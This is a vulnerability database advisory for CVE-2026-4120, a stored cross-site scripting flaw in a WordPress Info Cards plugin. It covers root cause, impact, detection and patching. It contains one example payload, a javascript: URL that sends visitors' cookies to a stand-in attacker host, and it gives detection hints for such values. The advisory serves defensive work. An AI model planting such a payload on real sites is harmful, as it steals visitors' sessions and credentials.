
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-4120 is a Stored Cross-Site Scripting (XSS) vulnerability in the Info Cards – Add Text and Media in Card Layouts plugin for WordPress, affecting all versions up to and including 2.0.7. The flaw allows authenticated attackers with Contributor-level access or above to inject malicious javascript: URLs via the btnUrl parameter within the Info Cards block. The vulnerability was published on March 19, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE).
The root cause is insufficient input validation on URL schemes in the btnUrl parameter (CWE-79: Improper Neutralization of Input During Web Page Generation). The plugin's render.php serializes block attributes as JSON and outputs them via esc_attr(wp_json_encode()) into a data-attributes HTML attribute, which prevents direct HTML injection but does not sanitize URL protocols within the JSON payload. The client-side view.js then reads this JSON and renders the btnUrl value directly as an href attribute on anchor (<a>) elements without any javascript: protocol filtering, enabling stored XSS execution when a site visitor clicks the rendered button link (Red Hat CVE).
Successful exploitation allows a Contributor-level (or higher) authenticated attacker to store a malicious javascript: URL in a page or post. When any site visitor clicks the affected button link, arbitrary JavaScript executes in their browser session, potentially leading to session hijacking, credential theft, defacement, or redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users of the site (Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-4120 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE).
btnUrl parameter to a javascript: URL, e.g., javascript:document.location='https://attacker.com/steal?c='+document.cookie.javascript: URL executes in their browser, enabling session hijacking, cookie theft, or other client-side attacks (Red Hat CVE)./wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) containing btnUrl values with javascript: scheme from Contributor-level accounts.wp_posts or wp_postmeta tables containing Info Cards block markup with btnUrl values starting with javascript:.Update the Info Cards – Add Text and Media in Card Layouts plugin to version 2.0.8 or later, which introduces proper javascript: protocol filtering for the btnUrl parameter. As an interim workaround, site administrators can restrict Contributor-level users from creating or editing posts containing Info Cards blocks, or temporarily disable the plugin until patching is feasible. Regularly auditing user roles and limiting Contributor access to trusted users reduces the attack surface (Red Hat CVE).
The vulnerability received standard automated coverage across CVE aggregation platforms and security feeds shortly after publication. A Bluesky post from a CVE tracking account noted the disclosure. No significant vendor statements, notable researcher commentary, or major media coverage beyond routine CVE tracking has been identified for this vulnerability.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."